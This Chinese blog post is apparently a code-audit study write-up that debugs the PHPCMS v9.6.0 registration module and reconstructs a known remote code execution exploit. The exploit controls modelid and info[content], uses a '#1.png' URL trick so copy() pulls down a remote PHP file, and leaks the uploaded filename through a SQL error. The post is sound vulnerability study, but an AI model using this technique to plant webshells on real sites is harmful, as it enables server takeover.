PHP:5.4.5

设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786

版本:phpcms_v9.6.0_UTF8

0x01:路由分析

前一篇一样的路由,但是对输入的关键字都有了防护;

0x02:漏洞分析

01 慢慢调试

目前是代审的基础,就没有太注重逻辑,就直接给了漏洞利用点在哪;

是在phpcms/modules/member/index.php的register模块,也就是上一篇用来触发连接那里;

PHPstorm开启调试,这里点击提交注册,burp抓包一下;

然后在调试器能够看到调试信息:

然后向后慢慢走:

这里是配置信息,不用管;

主要是下面这个isset($_POST['dosubmit']地方;

显然是进行了提交的,所以这里能够进入:

这个验证码是没得的,在注册的时候也没看见验证码;

然后注意这个$userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;;现在先不管这个是什么,知道这个是可以通过我们控制的就好;

然后下面能够看见一个ip(),跟进看看:

ip()最后进行了一个正则匹配,只有数字匹配上了才能够返回一个ip,否则就是空;

然后回到原来的register:一直走,直到走到这里:

然后跟进看看:

一般来说,model是和数据库有关的;

在这里:

db是连接的数据库对象;
$this->db_pre是数据库的前缀,前缀是:v9_
要查的表是v9_model_field这个表;

为什么是查看v9_model_field这个表呢?跟进load_modle调试一下:这里指定了路径

再跟进,就是返回的这个:

打开数据库,看看数据库v9_model_field表中有什么:

由于是才重装CMS的,没有对这个表有什么修改,所以这里是什么样,原始数据就是什么样子;

接着调试往下走:

这里给member_input对象加了一个attachement属性,先不管是什么;

接着F8往下走:

array_map('new_html_special_chars',$_POST['info']);
# 让$_POST['info']执行new_html_special_chars()函数

大概是想起一个编码的作用,不用管;

然后注意到箭头指向的地方,是取值$_POST['info'];,也就是说,这也是可控的;

接下来F7步入:

又走到了member_input这个地方;

02 整理输入-1

现在已知的是:

$_POST['info']可控,并且在member_input->get()会将其调用

所以现在重点关注get()能够做什么,这里是预先知道有洞的,不是现审的;这是还在学基础;

现在就要看,输入的可控的东西经历了哪些东西;

F7步入trim_script($data)函数

转义js代码的,用来防御XSS;替换了<>javascript

回到原先的地方再F8;

之后就是对此做操作;

F8走几步:

已知:
$modelid 是可控的; $data已经是可控的了:
foreach之后,field和value就是可控的了
$field = birthday
$value = 2023-02-03 safe_replace():
进行了过滤,例如:%20,%2527,%27,',",*,'',<,>,{,}等字符 $func = $this->fields[$field]['formtype'];
这里的$this->fields是不可控的,它是在构造函数中已经定义了;
但是$field是可控的;

于是$func被从$this->fields[$field]['formtype'];中取出来的值赋值为datetime

然后再检测这个类中有没有datetime这个方法,有就执行;并且执行的参数也是可控的;

这里能执行的方法只有这个类中的方法:

但是同样要求这个方法存在于$this->fields中;

因为$func同样是从$this->fields中取出来的;

所以需要知道$this->fields是怎么来的;

然后重新调试,为了知道$this->fields是怎么来的:

然后步入:

数据是存在数据库的

缓存从数据库中取出来,存在内存,存在redis中;

这个地方是缓存数据之类的,看的意义不大,由于数据都是存在数据库中,所以进入数据库中查看modelid=10的;

所以会把这个birthday取出来,然后这里又有formtype=datetime

由于modelid也是可控的,所以可以通过控制modelid来控制fields的数据;假如将modelid改成3,那么会将modelid=3的所有取出来;

这里重新调试一下,将modelid修改成3:

可以看到,相较于前两幅图中的modelid=10,fields[1]这里的fields[23]多了很多东西;

随后可以通过$_POST['info']来控制选择什么;

不过实际上,也需要看$this中的方法有哪些;所以目标就缩小到了原来那几个函数中,即:

将函数都看一下之后,定位到editor函数中;

1 $this->textarea()

作用:剥离HTML标签

2 box

作用:裁剪元素组成字符串

3 images

作用:传图片,返回字符串

剩下的就没意思了

4 editor

注意到了$this->attachment->download,然后查看download函数:

editor是一个附件下载的函数;

03 整理输入-2

所以考虑能不能向服务器中下载(写入)PHP文件;

所以现在修改modelid等参数,发包

让其进入download函数:

new_stripslashes函数是一个去掉反斜线的函数;

然后这里是一个正则,如果匹配不上,就没了;显然目前是匹配不上的;

然后进一个网站匹配匹配:https://regex101.com/

匹配正则之后,通过一个foreach然后在里面的fillurl拼接出一个url,应该叫通过fillurl判断传入的参数是一个什么协议,然后根据什么协议返回什么链接;

最后将返回的url填充到$remotefileurls数组中,并通过array_unique函数去重;

然后接着跟:

看到之类有一个getname函数,跟进去看看或者点进去都行:

这里对名字进行了一个拼接,返回了日期随机数.后缀样式的文件名;

在171行有$upload_func = $this->upload_func;,这里将$upload_func赋值为了copy();因为原来的定义也是这样

现在找找copy()函数作用:

https://www.php.net/manual/zh/function.copy

并且它支持url链接;

同时,可以在调试信息中看到filenewfile两个路径;

copy函数一执行就会被上传上去,所以现在去看看上传的文件:

但是会传入http://www.baidu.com/1.png失败了,原因是

既然是not found,那么考虑一下found的;

尝试一下其他的:http://www.taobao.com/1.png

然后上传了过来:

看看请求的网页:

所以,只要不是not found就行,哪怕是页面不存在

文件上传成功了,接着再跟一跟后续函数:

在上传文件成功的if判断操作中,有一个add函数,进入add函数查看信息:

发现这里是将文件信息传入数据库的一个操作,先记下来;

随后F8走几步,就完结了;

所以最后得到结论:

  1. 修改modelid和info[content]可以指定执行editor()函数
  2. editor()中的download(),跟进download()发现使用了copy赋值文件
  3. 由于copy()支持从url中下载文件,且url可控,但是需要满足正则匹配,在满足的情况下,能够下载任意满足正则匹配的文件
  4. 最后,新文件名是随机的,文件信息会被存入数据库

0x03 输入流转

01 上传PHP文件

目前是能够上传一个文件了,于是考虑上传一个php文件

现在整理一遍输入:

info[content] = url
url可控,并且会解析且过正则
正则:(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2
正则保证了后缀是图片类型
服务器对传入的url进行请求 希望服务器下载一个php后缀的文件

但是注意到这个正则,它相当于只进行了后缀的识别。

那么考虑能不能在通过正则之后,通过处理,将后缀去掉,保留前面的一部分;

所以现在就比较关注传入的url在哪里进行的拼接;

editor中直接调用了download并且传入了content,但是并没有进行什么处理,于是跟进download

download()前部分都是进行的赋值和正则(只检测了后缀,所以这个也能过:<a href=http://www.taobao.com/1.php/1.png>),唯一的操作就是去掉反斜线;

然后注意到到了fillurl()函数;

跟进调试一下,或者直接看也行:

$surl是传入的地址,ctrl f一下,发现,就截图部分进行了裁剪和截取,其它的都是整段拼接,所以看截图部分;

然后看到这里:

$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
# 返回#第一次出现的位置,并且将$surl截取到#出现之前
# 所以考虑<a href=http://url#1.png>

所以试试:http://www.taobao.com/1.php#1.png

显然是满足png的后缀,然后这里进入这个拼接就行,不需要执行后面的copy;现在的目的是为了拼出来php后缀,拼出来了之后在指定一下服务器,自然是可以的;

然后这里拼接出来了php后缀;

现在请求一下其他地方的文件,就本地的吧,都一样了;

能够看到这里是能够请求的;

现在在这里写一个<?php phpinfo();?>1.php中,在请求一下;

现在有返回了,能拉进去;

现在就只需要解决最后的问题了,就是不知道这个文件路径的;

02 路径报错

之前有提到一件事,就是说是已知漏洞的;

index.php后有一个数据库插入信息的操作,这里的信息插入是在文件上传之后插入的,并且插入信息,是插入的用户模型的信息;

由于已经改info[birthday]成了info[content],所以这里跟进:

burp中发包,需要将usernameemail改成数据库中没有的,不然$status过不了判断:

执行的SQL语句成为了

INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('&lt;a href=http://127.0.0.1:81/uploadfile/2023/0223/20230223114555862.php&gt;','2')

但是显然member模型是没有content字段的,所以之类会报错;

于是burp中就能够看到报错的数据:

最后获取到了文件名;

因为这里是先进行了文件的上传,再进行的数据库插入操作,所以能够访问对应的文件;

最后访问对应文件;发现文件能够上传;

所以可以上传其它的马,这里只是上传了phpinfo,没做其它的事情;

0x04 总结

注册模块,改modelid,进下载

最后还是试了很多次,那时候不知道usernaememail会影响$status

任重道远

[代码审计基础 15]phpmcs_v9.6 rce的更多相关文章

  1. [.net 面向对象编程基础] (15) 抽象类

    [.net 面向对象编程基础] (15) 抽象类 前面我们已经使用到了虚方法(使用 Virtual修饰符)和抽象类及抽象方法(使用abstract修饰符)我们在多态一节中说到要实现类成员的重写必须定义 ...

  2. php代码审计基础笔记

    出处: 九零SEC连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 --------------------------- ...

  3. 十五. Python基础(15)--内置函数-1

    十五. Python基础(15)--内置函数-1 1 ● eval(), exec(), compile() 执行字符串数据类型的python代码 检测#import os 'import' in c ...

  4. Java基础15:深入剖析Java枚举类

    更多内容请关注微信公众号[Java技术江湖] 这是一位阿里 Java 工程师的技术小站,作者黄小斜,专注 Java 相关技术:SSM.SpringBoot.MySQL.分布式.中间件.集群.Linux ...

  5. Pandas 基础(15) - date_range 和 asfreq

    这一节是承接上一节的内容, 依然是基于时间的数据分析, 接下来带大家理解关于 date_range 的相关用法. 首先, 引入数据文件: import pandas as pd df = pd.rea ...

  6. JavaScript基础15——js的DOM对象

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  7. OC基础15:内存管理和自动引用计数

    "OC基础"这个分类的文章是我在自学Stephen G.Kochan的<Objective-C程序设计第6版>过程中的笔记. 1.什么是ARC? (1).ARC全名为A ...

  8. python基础15下_迭代器_生成器

    print(dir([])) #告诉我列表拥有的所有方法 # 双下方法 # print([1].__add__([2])) print([1]+[2]) ret = set(dir([]))& ...

  9. Python之路,第十五篇:Python入门与基础15

    python3   异常 异常(基础) 什么是错误? 错误是指由于逻辑或语法错误等,导致一个程序已无法正常执行的问题. 什么是异常? 异常是程序出错时标识的一种状态,当异常发生时,程序不会再向下执行, ...

  10. C++语言基础(15)-友元函数和友元类

    一个类中可以有 public.protected.private 三种属性的成员,通过对象可以访问 public 成员,只有本类中的函数可以访问本类的 private 成员.现在,我们来介绍一种例外情 ...

随机推荐

  1. Git同步操作

    同步github数据 先要进入仓库文件夹 新建仓库文件夹要初始化或将远程仓库clone下来 git init或git clone https://github.com/用户名称/仓库名称.git 新建 ...

  2. 《吐血整理》高级系列教程-吃透Fiddler抓包教程(35)-Fiddler如何抓取微信小程序的包-下篇

    1.简介 通过前边和宏哥的学习,我们了解到Android 7.0 之后增加了对第三方证书的限制,抓包工具(charles.fiddler等)提供的证书都无法通过校验,也就无法抓取HTTPS请求了,对测 ...

  3. springcloudgateway学习

    API网关 大型项目开发过程中,往往都是由各个不同的微服务组成的,服务可能分布在不同地区不同机房,那用户如何知道访问某服务的时候该服务的实际地址呢,这时候就需要API网关了 API 网关就像服务的门面 ...

  4. MAUI Blazor (Windows) App 动态设置窗口标题

    接着上一篇"如何为面向 Windows 的 MAUI Blazor 应用程序设置窗口标题?" Tips: 总所周知,MAUI 除了 Windows App 其他平台窗口是没有 Ti ...

  5. Java面试多线程/JUC等知识

    2021年6月30日完成此部分内容整理

  6. 【离线数仓】Day02-用户行为数据仓库:分层介绍、环境搭建(hive、tez)、LZO压缩、建表查询导入加索引、编写脚本

    一.数仓分层概念 1.为什么要分层 ODS:原始数据层 DWD层:明细数据层 DWS:服务数据层 ADS:数据应用层 2.数仓分层 3.数据集市与数据仓库概念 4.数仓命名规范 ODS层命名为odsD ...

  7. python什么是异常?如何处理异常

    异常处理 什么是异常 异常是程序错误发生的信号.程序一旦出现错误,就会产生一个异常,如果程序中没有处理该异常,该异常就会抛出来,程序的运行也随即终止. 错误分为两种 1.语法错误 2.逻辑错误 如何处 ...

  8. 13-flask博客项目之restful api详解2-使用

    13-flask博客项目之restful api详解1-概念 13-flask博客项目之restful api详解1-概念 Flask-RESTful学习网站 英文:https://flask-res ...

  9. 10、RestTemplate方式实现远程调用Client

    一.JSONObject类详解: JSONobject是FastJson提供的对象,在API中是用一个私有的常量map进行封装的,实际就是一个map,只不过 FastJson对其进行了封装,添加了很多 ...

  10. 1、debug调试

    Debug断点调试: Debug调试界面图: 利用Debug功能来追踪代码的运行流程,分析与定位异常发生的位置,观察运行中数据的变化. 1.Step Over(F8):进入下一步,如果当前行断点是一个 ...